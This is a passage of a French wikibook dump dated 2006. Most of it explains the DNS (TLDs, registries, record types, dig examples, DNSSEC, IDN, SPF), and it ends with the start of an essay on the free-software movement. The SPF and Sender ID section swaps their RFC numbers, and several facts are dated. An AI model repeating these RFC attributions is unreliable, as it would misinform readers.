"in-addr.arpa", "ip6.arpa" et "e164.arpa". L'IANA gère ce domaine http://www.iana.org/arpa-dom/. Dans la pratique ce TLD est un véritable racine technique et se trouve sur les serveurs racine. La gestion des adresses IP (résolution inverse) se fait en liaison avec les RIR (regional IP registries exemple RIPE) avec les sous-domaines suivant : *in-addr.arpa (adresses IPv4) *ip6.arpa (adresses IPv6) Autres fonctions *e164.arpa ENUM *uri.arpa *urn.arpa ===Actualités récentes concernant les TLD=== L'attitude de l'ICANN reste assez prudente sur l'ouverture de nouveaux TLD. ====Les nouveaux TLD lancés recemment (2006)==== * Le .cat pour la communauté catalane. * Le .eu pour la communauté européenne. * Le .mobi Le .tel accepté par l'ICANN en mai 2006 sera lancé en 2007. Le site officiel est http://www.telname.com. ====Les TLD en projet==== * projets bien avancés ** .berlin ** .asia * projets à l'état d'ébauche ** .bzh projet à l'état d'ébauche ** et bien d'autres (.gal .sco) Selon les sources, le coût de la création d'un TLD à l'ICANN s'élève entre 40 000 et 80 000 euros. ===Les sLD=== sLD signifie domaine de second niveau. Ce sont les domaines définis sous les TLD. On prendre par exemple le ".asso" existant sous le ".fr". Le domaine complet de mon association sera donc "monassociation.asso.fr". Selon les choix des acteurs appelés souvent registre en français ou registry en anglais, l'utilisation des sLD est soit imposée soit possible. Ou bien encore la notion de sLD est complètement inexistante. ====sLD imposés==== Pour les registres des ".uk" pour le Royaume-Uni et ".au" pour l'Australie, l'utilisation des sLD est imposée. Donc le nom de domaine de ma société internationale sera pour ces pays "magrandesociete.co.uk" et "magrandesociete.com.au". ====sLD proposés==== Deux exemples * .fr avec les .asso.fr .presse.fr * .us voir le RFC 1480 (juin 1993) Dans ce cas le l'utilisation des sLD tend à stagner voir diminuer. le RFC 1480 proposait un sLD par états ou territoire membre des Etats-Unis. Par exemple pour la Californie, il propose le sLD ".ca" soit le domaine ".ca.us". Dans la pratique, ces sLD sont presque tous abandonnés. ====sLD inexistants==== C'est le cas du ".com". Le nom de ma grande société sera "magrandesociete.com". Le TLD ".com" est le TLD le plus peuplé. Il contient plus presque 50 millions de noms de domaine. Cette situation montre que le DNS pour des raisons commerciales s'eloigne de son modèle initiale hiérarchique. Il faut remarquer un mouvement progressif vers la suppression de ces sLD. En mai 2006, le registre de la Corée du Sud a annoncé la suppression des sLD sous le le "kr". == Les acteurs du monde du DNS== * L'ICANN * Registry ou en français registre (ex AFNIC EURID) * Registrar (exemple GANDI) * Registrant (le client) La distinction entre registre et registrar est apparu vers 1999. Cette distinction sépare la partie technique de la partie commerciale et evite de placer les registres en situation de monopole. ===Les registres=== Les termes de registre, de registry et de NIC sont synonymes. Ils représentent des organismes gérant les TLD. Ce sont soit des organismes de recherche, soit des associations à but non lucratif, soit des sociétés commerciales. Par exemple en France, le registre du domaine fr était d'abord un service de l'INRIA un organisme de recherche très reconnu dans le monde informatique. Maintenant, l'AFNIC association loi 1901 a repris la gestion du ccTLD ".fr". Par contre le ".tf" pour les "Terres Australes et Antarctiques françaises" étaient géré par la société commerciale AdamsNames. A la demande du gouvernement français ce ccTLD est passé sous la responsabilité de l'AFNIC (1994 voir le document de l'IANA http://www.iana.org/reports/tf-report-05aug05.pdf). On distingue deux types de politique parmi les registres, des politiques restrictives et des poliques libérales. Ainsi, la politique du registre .com a une politique très libérale qui se traduit par "premier arrivé premier servi". Par contre les registres des ccTLD choississent ou plutôt choississaient des politiques restreintes. Ainsi un nom dans le domaine du .fr étaient très lié à la France. Progressivement les politiques se libéralisent. Un exemple récent est l'ouverture aux particuliers du domaine fr (juin 2006). ====L'AFNIC==== L'AFNIC (http://www.afnic.fr) est une association loi 1901 qui gère le .fr et le .re. Elle est en charge d'autres ccTLD liés au DOM-TOM français : tf, wf, pm et yt même si seul le tf est réellement "peuplé". Elle fournit de nombreuses documentations concernant le DNS en français. Remarque : pour vérifier que l'AFNIC gère bien un tld, on peut regarder la base Whois de l'IANA. Mais on peut utiliser également la commande ''dig SOA tld.'' comme par exemple : <pre> dig SOA yt. ; <<>> DiG 9.3.2 <<>> @192.168.1.1 SOA yt. ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 966 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;yt. IN SOA ;; ANSWER SECTION: yt. 172780 IN SOA nsmaster.nic.fr. hostmaster.nic. fr. 2006022800 3600 1800 3600000 5400 ;; Query time: 1625 msec ;; SERVER: 192.168.1.1#53(192.168.1.1) ;; WHEN: Tue Jun 27 21:44:14 2006 ;; MSG SIZE rcvd: 82 </pre> nic.fr = AFNIC ... On peut retrouver le rapport d'activité de l'association sur son site http://www.afnic.fr/afnic/presentation/activite. Elle emploie 40 personnes et gère un budget 4,5 millions d'euros. Elle ne touche que très peu de subventions. L'actualité récente de l'AFNIC est l'ouverture aux particuliers du .fr fin juin 2006. Pour cette opération, l'AFNIC a ouvert un nouveau site qui apparaît beaucoup moins "sérieux" que son site officiel : http://www.faites-vous-un-nom.fr/. Un autre site effectue le suivi technique de cette ouverture http://open.nic.fr/. Il est encore trop tôt à l'heure actuelle pour voir le succès de cette opération. ====L'EURID==== L'EURID est l'association qui gère le .eu le nouveau ccTLD pour l'Union Européenne. ===Whois et IRIS=== ====Présentation de Whois==== Whois = Who is (qui est-ce ?). Ce protocole donne les correspondants techniques et administrative associés à nom de domaine ====IRIS le successeur d'IRIS==== IRIS est décrit dans le RFC 3981 et son application au registre (ou registry en anglais) est décrit dans le RFC 3982 Un blog concernant IRIS avec un exemple d'application http://iris.verisignlabs.com/blojsom/blog/iris/about/ ==Les racines alternatives== Plusieurs raisons : * Raisons idéologiques * Raisons commerciales Expériences terminées : * Alternic (arrêté en 1997) * eDNS (arrêté en 1998) [[Système de noms de domaine]] Système de noms de domaine/Mise en oeuvre 8220 46554 2006-06-29T19:04:02Z Teckel 1461 /* Dig */ {{Modèle:Système_de_noms_de_domaine}} ==Types de serveurs== *Serveurs primaires *Serveurs secondaires *serveurs cache. ===Serveurs primaires et secondaires=== Les serveurs primaires possèdent les données de la zone en local. Les serveurs secondaires se connectent à un serveur primaire pour copier les données de la zone. Un primaire n'envoie pas les données aux secondaires. Le RFC 2182 définit les bonnes pratiques de gestion des serveurs autoritaires. Il impose plus d'un serveur autoritaire par zone. Recherches récursives et recherches non récursives. ===Gestion du cache dans le DNS=== Un cache est un niveau intermédiaire d'accès rapide, en ll lieu de stockage d'une information et celui de son utilisation. La notion de cache ne concerne pas uniquement le DNS mais toute l'informatique. Dans le cadre du DNS le cache est non seulement positif mais aussi négatif (RFC 2308). Dans le cadre du DNS, une réponse négative peut représenter soit l'absence du domaine (NXDOMAIN), soit l'absence de données (No Data) le domaine est valide mais il n'y a pas d'enregistrements ou de type associé à ce nom. Les durées de mise dépendent de durée appelée TTL pour Time To Live. Ces durées peuvent atteindre 41 jours sur les enregistrements sur les noms de serveurs de la racine. ==BIND et ses alternatives== ===Présentation=== * Historique JEEVES implémentation par Paul Mockapetris d'un serveur DNS (1983) * Depuis 1995 BIND BIND est la référence de l'implémentation d'un serveur DNS. Deux principales versions de BIND sont maintenues. * BIND 8 * BIND 9 Pendant longtemps il existait une autre version : BIND version 4. Elle n'est plus maintenue et donc ne doit plus être utilisée. BIND a connu de nombreuses alertes de sécurité, a tel point que certains acteurs utilisent d'autres logiciels. ===Alternatives à BIND=== * NSD * PowerDNS * MaraDNS * djbDNS ==Les types d'enregistrements== ===Le type SOA=== SOA définit la zone. Il contient notamment un numéro de série. Ce numéro doit toujours être augmenté en cas d'évolution de la zone. Le format conseillé est AAAAMMJJNN. *AAAA année *MM mois de 01 à 12 *JJ jour de 01 à 31 *NN numéro de changement du jour de 00 à 99 Exemple de SOA avec les durées conseillées par le RIPE (http://www.ripe.net/ripe/docs/dns-soa.html). <pre> example.com. 3600 SOA dns.example.com. hostmaster.example.com. ( 1999022301 ; serial YYYYMMDDnn 86400 ; refresh ( 24 hours) 7200 ; retry ( 2 hours) 3600000 ; expire (1000 hours) 172800 ) ; minimum ( 2 days) </pre> ===Le type A=== A associe le nom d'hôte à l'adresse IP. ===Le type PTR=== PTR associe l'adresse IP au nom (conversion inverse). ===Le type NS=== NS donne la liste les serveurs autoritaires pour la zone. ===Le type CNAME=== CNAME définit des alias de nom de serveur. ===Le type DNAME=== Ce type est très proche de CNAME. Il définit des alias de noms de domaine, tandis que CNAME définit des alias de nom de serveur. Il est définit dans le RFC 2672. Il est relativement rare. Il a été utilisé lors de la refonte de certains domaines, lors du passage de ip6.int à ip6.arpa par exemple. Ces domaines sont utilisés lors de la conversion inverse des adresses IPv6 en noms de domaine. Voir le document http://www.isc.org/index.pl?/pubs/tn/index.pl?tn=isc-tn-2002-1.html ===Le type MX=== Il est utilisé pour la messagerie électronique. Les enregistrements MX définissent les hôtes "Mail eXchanger". Il permet de définir des serveurs principaux et de serveurs de secours. Dans l'exemple suivant le serveur de messagerie sera de préférence celui avec le poids le plus petit donc rex1.ouaf.com. <pre> petit-teckel.fr IN MX 0 rex1.ouaf.com petit-teckel.fr IN MX 10 rex2.ouaf.com petit-teckel.fr IN MX 30 rex3.ouaf.com </pre> Auparavant, il existait deux types d'enregistrement MD (Mail Destination) et MF (Mail Forwarder). MD représentaient les machines principales et MF les machines de secours. Le RFC 973 dans sa page 4 explique la raison du changement de gestion : une gestion plus efficace du cache. Maintenant le type SRV généralise la notion de MX à tout type de service lié au domaine. ===Le type HINFO=== Cet enregistrement donne des informations sur le matériel et le système d'exploitation utilisé. Il est généralement masqué pour des raisons de sécurité. ===Le type TXT=== Il contient tout texte descriptif. ===Le type SRV=== Il s'agit d'une généralisation du type MX. Il est définit dans le RFC 2782, mais pour avoir des exemples supplémentaires on peut également regarder l'ancien RFC 2052. Il s'agit de définir les liens entre services et noms de machine. Les enregistrements SRV peuvent permettre de retrouver la liste des serveurs HTTP ou bien encore des contrôleurs de domaines. Il est possible de donner une priorité différente à chaque enregistrement SRV. Ce type d'enregistrement est utilisé par le DNS dans le cadre d'Active Directory. ===Le type WINS=== WINS et WINS-R sont deux types d'enregistrement qui permettent la cohabitation entre WINS et un serveur DNS. WINS : les enregistrements de ressources de type WINS indiquent au serveur DNS l'adresse IP d'un serveur WINS a contacter en cas d'échec lors de la résolution de nom d'hôte. Les enregistrements WINS ne peuvent être crée que dans une zone de recherche directe. WINS-R : les enregistrements de ressources de type WINS-R ne peuvent être crée que dans une zone de recherche inversée. ===Type LOC=== Voir la RFC 1876 (expérimental). Ce type définit la position géographique (longitude, latitude et altitude) du serveur. Il est très peu utilisé. le seul cas d'utilisation est sur le site : http://www.ckdhr.com/dns-loc ==Le message DNS== le DNS utilise UDP par défaut sauf si le message est supérieur à 512 octets. Dans ce cas, il utilise TCP. Ceci est un argument pour limiter le nombre de serveurs racine à treize. ==Outils d'interrogation du DNS== *nslookup *dig La commande nslookup existe sous Windows, mais elle n'est pas pratique ni complète. Dig est conseillé pour travailler avec le DNS, mais elle n'existe pas par défaut sous Windows. Pour avoir cette commande sous ce système il faut récupérer la version pour Windows de BIND (http://www.isc.org/index.pl?/sw/bind/bind9.php). ===Nslookup=== <pre><nowiki> nslookup </nowiki></pre> ===Dig=== Cette commande est très riche. La page "man" est ici http://www.bind9.net/dig.1. la commande "dig @192.168.1.11 txt chaos version.bind nom_serveur" permet de connaitre la version du serveur BIND. En général, cette version est masquée. Il s'agit un des rare cas où on utilise un classe différente de IN. <pre> dig @192.168.1.11 txt chaos version.bind ; <<>> DiG 9.3.2 <<>> @192.168.1.11 txt chaos version.bind ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 582 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "9.3.2" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 1265 msec ;; SERVER: 192.168.1.11#53(192.168.1.11) ;; WHEN: Thu Jun 29 20:54:52 2006 ;; MSG SIZE rcvd: 62 </pre> Pour masquer cette version, il faut modifier le fichier named.conf <pre> options { ../.. version "le numero de version est masque"; ../.. }; </pre> L'option x de commande dig (ex dig -x adresse_ip) permet de faire la recherche inverse simplement, sans utiliser le in-addr.arpa. <pre> dig -x 81.91.232.1 ; <<>> DiG 9.3.2 <<>> @192.168.1.1 -x 81.91.232.1 ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 404 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;1.232.91.81.in-addr.arpa. IN PTR ;; ANSWER SECTION: 1.232.91.81.in-addr.arpa. 86400 IN CNAME 1.0-127.232.91.81.in-addr.arpa. 1.0-127.232.91.81.in-addr.arpa. 86400 IN PTR ben02.gouv.bj. </pre> L'option +trace de commande dig permet de faire la recherche en parcourant l'arborescence depuis la racine jusqu'à la réponse. <pre> dig @192.168.1.1 +trace www.tiscali.co.uk ; <<>> DiG 9.3.2 <<>> @192.168.1.1 +trace www.tiscali.co.uk ; (1 server found) ;; global options: printcmd . 142221 IN NS B.ROOT-SERVERS.NET. . 142221 IN NS C.ROOT-SERVERS.NET. . 142221 IN NS D.ROOT-SERVERS.NET. . 142221 IN NS E.ROOT-SERVERS.NET. . 142221 IN NS F.ROOT-SERVERS.NET. . 142221 IN NS G.ROOT-SERVERS.NET. . 142221 IN NS H.ROOT-SERVERS.NET. . 142221 IN NS I.ROOT-SERVERS.NET. . 142221 IN NS J.ROOT-SERVERS.NET. . 142221 IN NS K.ROOT-SERVERS.NET. . 142221 IN NS L.ROOT-SERVERS.NET. . 142221 IN NS M.ROOT-SERVERS.NET. . 142221 IN NS A.ROOT-SERVERS.NET. ;; Received 228 bytes from 192.168.1.1#53(192.168.1.1) in 2218 ms uk. 172800 IN NS NS1.NIC.uk. uk. 172800 IN NS NS2.NIC.uk. uk. 172800 IN NS NS3.NIC.uk. uk. 172800 IN NS NS4.NIC.uk. uk. 172800 IN NS NS5.NIC.uk. uk. 172800 IN NS NS6.NIC.uk. uk. 172800 IN NS NS7.NIC.uk. uk. 172800 IN NS NSA.NIC.uk. uk. 172800 IN NS NSB.NIC.uk. uk. 172800 IN NS NSC.NIC.uk. uk. 172800 IN NS NSD.NIC.uk. ;; Received 497 bytes from 192.33.4.12#53(C.ROOT-SERVERS.NET) in 171 ms tiscali.co.uk. 172800 IN NS ns0.tiscali.co.uk. tiscali.co.uk. 172800 IN NS ns0.as9105.com. ;; Received 97 bytes from 195.66.240.130#53(NS1.NIC.uk) in 78 ms www.tiscali.co.uk. 300 IN A 212.74.99.30 tiscali.co.uk. 3600 IN NS ns0.as9105.com. tiscali.co.uk. 3600 IN NS ns0.tiscali.co.uk. ;; Received 129 bytes from 212.74.114.132#53(ns0.tiscali.co.uk) in 62 ms </pre> [[Système de noms de domaine]] Système de noms de domaine/Extensions 8221 46524 2006-06-29T18:02:55Z Teckel 1461 /* NTP */ {{Modèle:Système_de_noms_de_domaine}} ==Les problèmes de sécurité et DNSSEC== ===Attaques spécifiques au DNS=== Les serveurs DNS sont succeptible de subir les attaques classiques à tous serveurs. Mais ce système peut subir des attaques spécifiques que nous allons détailler ici. ====Attaques de type DoS sur les serveurs root==== Il s'agit d'une attaque de type DoS sur l'ensemble des serveurs pour bloquer complétement le système DNS. Une attaque de ce type à eu lieu le 21/10/2002, pendant laquelle 7 serveurs sur les 13 sont tombés. Cependant cette attaque n'a pas eu d'impact réel sur les utilisateurs. ===La sécurisation du DNS avec TSIG et DNSSEC=== ====Rappel sur la cryptographie==== La sécurisation du DNS va se baser sur la cryptographie. La cryptographie est un sujet vaste, je conseille donc de regarder l'article de wikipédia la concenant : http://fr.wikipedia.org/wiki/Cryptographie. Les services de sécurité sont : * la confidentialité * l'intégrité * l'authentification * la non répudiation Le RFC 3833 fait une analyse des menaces concernant le DNS et explique ce DNSSEC tente d'améliorer. Dans le cadre du DNS avec des données publiques, les services utiles sont l'authentification et l'intégrité des données : * L'authenticité : la donnée est-elle publiée par l'entité autoritaire * L'intégrité : la donnée est-elle conforme à celle publiée La cryptographie va permettre de signer des messages ou de les crypter.Il existe deux types d'algorithme : * des algorithmes à clés secrètes ou symétriques * des algorithmes à clés publiques ou asymétrique Dans les algorithmes à clés secrètes, la clé de chiffrement ou de signature est la même que la clé de dechiffrement ou de vérification. Dans ce cas, on utilise un secret partagé. Il faut noter que la crytographie symétrique est plus rapide que l'asymétrique. Dans le cas des algorithmes asymétrique la clé de chiffrement est publique tandis que la clé de déchiffrement est gardée secrète, ou plutôt la clé de signature est secrète tandis que la clé de vérification est publique. Un exemple connu d'algorithme asymétrique est RSA. Enfin, un dernier point utile pour la notion de signature est la notion de fonctions de hachage. Elles permettent l'obention d'une empreinte numérique de taille fixe à partir d'un message de taille variable. Un fonction de hachage utilisable dans la sécurité est celle qui engendre de faibles collisions (empreinte identique pour des messages distincts) et qui est en sens unique (difficulté de retrouver le message d'origine). ====TSIG et SIG(0)==== TSIG = transaction Signature (RFC 2845). La liste des algorithmes utilisés par TSIG est maintenue par l'IANIA http://www.iana.org/assignments/tsig-algorithm-names SIG(0) ====NTP==== TSIG et SIG0 signent avec un tampon de temps. Donc une synchronisation par NTP est nécessaire. Voir la présentation de NTP http://alexandre.alapetite.net/iup-gmi/ntp/ et http://fr.wikipedia.org/wiki/Network_Time_Protocol. Une version simplifiée de NTP existe. Il s'agit de SNTP qui est notamment utilisé par Windows pour se synchroniser avec le "temps internet". ====DNSSEC==== DNSSEC est un ensemble d'extensions pour sécuriser le système DNS. le projet initial (2004) de mise en place de l'infrastructure DNSSEC en France est ici : http://www.idsa.prd.fr document de présentation de dnssec : http://ws.edu.isoc.org/workshops/2005/ccTLD-Dakar/jour4/dnssec-dakar-francais-updated.pdf ==IDN== Noms de domaines dits internationaux. L'implémentation actuelle est IDNA (International Domain Name for Application). Le nom de domaine enregistré dans le dns reste écrit avec les caractères autorisés par le DNS (une partie de l'ASCII). Les applications interprête ce nom de domaine pour l'afficher les bons caractères. Pour savoir que le nom est un IDN, il commence par xn--. C'est pourquoi, il est interdit dans la plupart des cas d'enregistrer des noms de domaines commençant par cette chaine. Attention les idn concernent également les adresses mails Les premiers tests datent de 1998. Mais en pratique les IDN avancent lentement. L'AFNIC n'autorise pas d'enregistrement d'IDN. ===Notion de "babel name"=== Exemple xn--NomDuMarqueConnue.com ===Les IDN et les TLD=== Deux types d'IDN *IDN hybride idn.ascii *IDN complet idn.idn (en fait n'existe pas encore) ===Alternative aux IDN === Certains acteurs considèrent que l'IDN n'est pas satisfaisant pour permettre à accès multilingue à l'Internet. La société Netpia, http://e.netpia.com propose par exemple un système de serveurs de mots clefs, similaires au des pages jaunes ou des moteurs de recherche. Ce système est appelé "Native Language Internet Address". Les serveurs servent une zone géographique donnée utilisant la même langue ou le même système d'écriture. L'intégration du système se fait soit au niveau du navigateur (plug-in) soit au niveau du FAI (ou par la modification du serveur DNS). Le système est parti de Corée, puis s'est entendu à d'autres pays comme le Japon, pour toucher actuellement 95 pays, selon la société qui commercialise le système. Dans ce modèle, on ajoute au dessus du DNS un système non hiérarchique. Il existe un draft de RFC datant de 2001, mais apparemment pas de RFC : http://mirrors.isc.org/pub/www.watersprings.org/pub/id/draft-jhbae-nliasa-00.txt. Attention, ce draft ne peut pas servir de référence. Simplement, on monte en abstraction et on se rapproche des utilisateurs finaux en passant successivement : *Des adresses IP *Des noms de domaine *Des noms de domaine partiellement internationalisés *Des noms de domaine complètement internationalisés (avec TLD internationalisés) *Native Language Internet Address ou NLIA (mots clés internationalisés) [[Image:DNS1.png]] Il imagine un système de serveurs NLIA fonctionnant à côtés des serveurs DNS. Une requête devrait comporter trois éléments : *Native Language Internet Address *Informations concernant l'application *Informations concernant la langue La réponse dépend de l'application concernée, exemple demande sur le mot Netpia (exemple pris dans le draft) : *Navigateur web, www.netpia.com *client news, news.netpia.com *client mail, webmaster@netpia.com *client telnet, telnet.netpia.com *client FTP, ftp.netpia.com *Téléphone, 82 2 3665 0123 Le serveur DNS de Neptia a pour adresse IP 211.106.67.202. Certaines réponses DNS sur ce serveur sont assez surprenantes comme le montre cet exemple. <pre> dig @211.106.67.202 A ibm. ; <<>> DiG 9.3.2 <<>> @211.106.67.202 A ibm. ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 225 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; QUESTION SECTION: ;ibm. IN A ;; ANSWER SECTION: ibm. 86400 IN A 211.106.67.202 ;; AUTHORITY SECTION: realname. 86400 IN NS update-kt.netpia.com. ;; ADDITIONAL SECTION: update-kt.netpia.com. 102 IN A 211.106.67.221 ;; Query time: 2265 msec ;; SERVER: 211.106.67.202#53(211.106.67.202) ;; WHEN: Sun Jun 25 15:46:25 2006 ;; MSG SIZE rcvd: 95 </pre> ==ENUM== ENUM permet de placer les numéros de téléphone dans le DNS. Après un certaine activité au cours des années 2004 2005, les projets liés à ENUM semblent diminuer. ===Le projet français Numerobis=== Projet terminé ? Il a eu lieu entre 2002 et 2004. ==IPv6 et le DNS== Ajout des types d'enregistrement AAAA et A6. IPv6 commence à avancer dans de nombreux TLD. Pour le constater, on peut regarder les nombreux enregistrements de type AAAA dans le fichier root.zone disponible sur le site de le ftp de l'internic ftp://rs.internic.net/domain. On trouve environ une vingtaine de TLD en IPv6 (AT BE BIZ BR CH CN DE FR IE IT JP LU KR NET ORG PL PR PT SE TH TN TW UK). ==La sécurisation de la messagerie électronique== Le courrier électronique est peu securisé. Les RFC 2821 et RFC 2822 qui le spécifient ne permettent pas une authentification même faible de l'emetteur. Ceci explique les nombreuses manipulations sur les en-têtes des mails. De nombreux RFC récentes proposent des mécanismes d'authentification faible du courrier électronique. Concrêtement, il indique comment définir les adresses IP ayant le droit d'émettre des mails au nom du nom de domaine. donc on authenfie uniquement le domaine et non l'emetteur complet. Il existe d'autres mécanismes de sécurisation de la messagerie électronique qui sortent du cadre du DNS (exemple S/MIME). Deux propositons concurrentes existent : Sender ID et SPF. Ils utilisent tous les deux l'enregistrement de type TXT sur le domaine. ===Sender ID=== RFC 4408. Le contenu de l'enregistrement TXT commence par "spf2.0/". ===SPF=== RFC 4406. Le contenu de l'enregistrement TXT commence par "spf1". ===Exemples d'application=== AOL a mis en place SPF et Sender ID. <pre> dig TXT aol.com ; <<>> DiG 9.3.2 <<>> TXT aol.com ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 684 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 4, ADDITIONAL: 2 ;; QUESTION SECTION: ;aol.com. IN TXT ;; ANSWER SECTION: aol.com. 300 IN TXT "v=spf1 ip4:152.163.225.0/24 ip4 :205.188.139.0/24 ip4:205.188.144.0/24 ip4:205.188.156.0/23 ip4:205.188.159.0/24 ip4:64.12.136.0/23 ip4:64.12.138.0/24 ptr:mx.aol.com ?all" aol.com. 300 IN TXT "spf2.0/pra ip4:152.163.225.0/24 ip4:205.188.139.0/24 ip4:205.188.144.0/24 ip4:205.188.156.0/23 ip4:205.188.159. 0/24 ip4:64.12.136.0/23 ip4:64.12.138.0/24 ptr:mx.aol.com ?all" ;; AUTHORITY SECTION: aol.com. 1071 IN NS dns-01.ns.aol.com. aol.com. 1071 IN NS dns-02.ns.aol.com. aol.com. 1071 IN NS dns-06.ns.aol.com. aol.com. 1071 IN NS dns-07.ns.aol.com. ;; ADDITIONAL SECTION: dns-01.ns.aol.com. 15742 IN A 64.12.51.132 dns-02.ns.aol.com. 15742 IN A 205.188.157.232 ;; Query time: 31 msec ;; WHEN: Thu Jun 29 15:42:53 2006 ;; MSG SIZE rcvd: 512 </pre> Microsoft a mis en place SPF. <pre> dig TXT microsoft.com ; <<>> DiG 9.3.2 <<>> TXT microsoft.com ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1548 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 5 ;; QUESTION SECTION: ;microsoft.com. IN TXT ;; ANSWER SECTION: microsoft.com. 3600 IN TXT "v=spf1 mx include:_spf-a.micros oft.com include:_spf-b.microsoft.com include:_spf-c.microsoft.com ~all" ;; AUTHORITY SECTION: microsoft.com. 98386 IN NS ns1.msft.net. microsoft.com. 98386 IN NS ns2.msft.net. microsoft.com. 98386 IN NS ns3.msft.net. microsoft.com. 98386 IN NS ns4.msft.net. microsoft.com. 98386 IN NS ns5.msft.net. ;; ADDITIONAL SECTION: ns1.msft.net. 92291 IN A 207.68.160.190 ns2.msft.net. 162045 IN A 65.54.240.126 ns3.msft.net. 92291 IN A 213.199.144.151 ns4.msft.net. 92291 IN A 207.46.66.126 ns5.msft.net. 162045 IN A 65.55.238.126 ;; Query time: 46 msec ;; WHEN: Thu Jun 29 15:47:14 2006 ;; MSG SIZE rcvd: 323 </pre> [[Système de noms de domaine]] Etude du cyber-mouvement du logiciel libre 8222 41610 2006-05-05T09:31:40Z Coleginux 1430 {{cyber-mouvement libre source}} {{cyber-mouvement libre}} ==Introduction== Les manifestations, qui ont éclaté un peu partout en Europe, contre la décision américaine d'entrer en guerre contre l'Irak en 2003, on fait dire à certains commentateurs qu'une opinion publique européenne était en phase de constitution ; une opinion publique européenne qui pourrait relancer le processus affaibli de la construction étatique de l'Union européenne. De la même manière, Bertrand Badie, dans La diplomatie des droits de l'Homme : entre éthique et volonté de puissance constatait l'émergence d'un "Espace public international" en se référant à la théorie de Jürgen Habermas; un espace seul à pouvoir faire appliquer des droits de l'homme qui restent instrumentalisés par des grandes puissances navigant dans un désordre hobbesien. ::''« Des mouvements sociaux naissent en réaction à la mondialisation. Ces mouvements sont'' ::''définis comme des Actions collectives menées en vue d'un objectif, dont le résultat, en cas de'' ::''succès comme en cas d’échec, transforme les valeurs et les institutions de la société. Leurs'' ::''fondements sont basés sur l’'identité. » (M. Castells, Le Pouvoir de l’'identité)'' L'affirmation d'une société civile transnationale n'a cependant pas attendu les dérapages post 11 septembre de l'administration américaine pour exister. Les spécialistes de la question sociale s'accordent sur les grandes manifestations dites "anti-mondialistes" de 1999 à Seattle pour dater la naissance d'un "Nouveau Mouvement Social". "Nouveau" car la substitution de la classe ouvrière et de la lutte des classes par des classes moyennes étrangères au conflit social, la précarisation salariale, le déclin irréversible des organisations politiques et syndicales et autres idéologies mobilisatrices, l'épuisement des modes d'action classiques comme la grève, semblaient avoir définitivement mis fin à la contestation sociale, héritière des mouvements de la fin du 19ème, opposés aux méfaits des Révolutions industrielles. À l'heure du triomphe des idées néolibérales, le réveil du Mouvement social était, pour le moins, inattendu. Néanmoins, le mouvement ouvrier traditionnel a été suppléé par un Mouvement beaucoup plus pluriel de contestation du modèle dominant. Celui-ci réunit les Paysans Sans Terres du Brésil avec les économistes de l'Association pour la Taxation des Transactions financières pour l’Aide aux Citoyens ou encore avec les syndicalistes de la Confédération Paysanne qui s'insurgent contre la "Mal bouffe". Ces composantes sont reliées entre elles via Internet, le réseau des réseaux, qui permet une rapide diffusion des idées et facilite les communications. C'est sur ce même Internet que prospère un mouvement nettement moins connu, celui des logiciels libres. Ce mouvement, lui aussi international, participe aussi à la lutte contre la domination en s'attaquant au monopole des grandes institutions capitalistiques du logiciel, dont la plus fameuse est Microsoft, créatrice du système d'exploitation Windows que tous les utilisateurs d'ordinateur connaissent. Pour ce faire, il organise des grandes réunions où il s'emploie à sensibiliser la population à une nouvelle culture, celle du libre, où le concept même de propriété est remis en cause. Cette propriété devient collective en favorisant ainsi la coopération des programmeurs. Cette attitude qui se veut "philosophique" fait penser, de prime abord, à l'idéologie marxiste qui s'évertuait à rééduquer l'individu afin de vivre dans une société communisciser dont le symbole le plus fort était le kolkhoze, l'exploitation agricole collectivisée. Quelles sont les spécificités sociales de ce mouvement technique qui tend à se rapprocher des "Nouveaux Mouvements Sociaux" ? ===L'informatique et les sciences sociales=== Le Mouvement des logiciels libres n'est pas étudié par le champ des études sociologiques sur les Mouvements sociaux. En effet, celui-ci fait partie du domaine de l'informatique, un domaine qui a longtemps suscité l'hostilité des étudiants en sciences sociales comme l'ont montré Guimond et Bergin, cité par Philippe Breton dans La Tribu informatique. Cette hostilité est due à une profonde division du monde intellectuel entre le monde de la philosophie, de la littérature, de la musique et des arts d'une part, et le monde des sciences et des techniques d'autre part. Le philosophe Michel Henry n'hésitera pas à traiter les sciences et techniques de source d'une "nouvelle barbarie". En faisant prôner l'efficacité matérielle sur l'inspiration d'un écrivain ou d'un poète, l'informatique a été considérée comme un facteur de déshumanisation des relations humaines ou susceptible de les dégrader. Cette vision explique les résistances qu'a subies l'informatisation notamment dans les domaines du social. On peut ainsi évoquer la difficile mise en place dans les Caisses d'Assurances Maladies du système GAMIN (qui avait pour objet de permettre, sur la base des informations de nature médicale et sociale recueillies à partir des certificats de santé établis dans le cadre de la protection maternelle et infantile, la sélection automatique des enfants devant faire l'objet d'une surveillance médico-sociale particulière) pourtant créé afin d'améliorer le quotidien des travailleurs sociaux. Pendant longtemps aussi, l'informatique a été vue d'un mauvais œil par une grande partie des enseignants dont, il est vrai, on avait, maladroitement, pronostiqué la disparition face aux machines. Aujourd'hui néanmoins, les choses semblent évoluer. Il n'est plus possible d'analyser les nouveaux mouvements sociaux sans se référer au rôle que joue Internet, qui était pourtant ostracisé il y a encore quelques années. 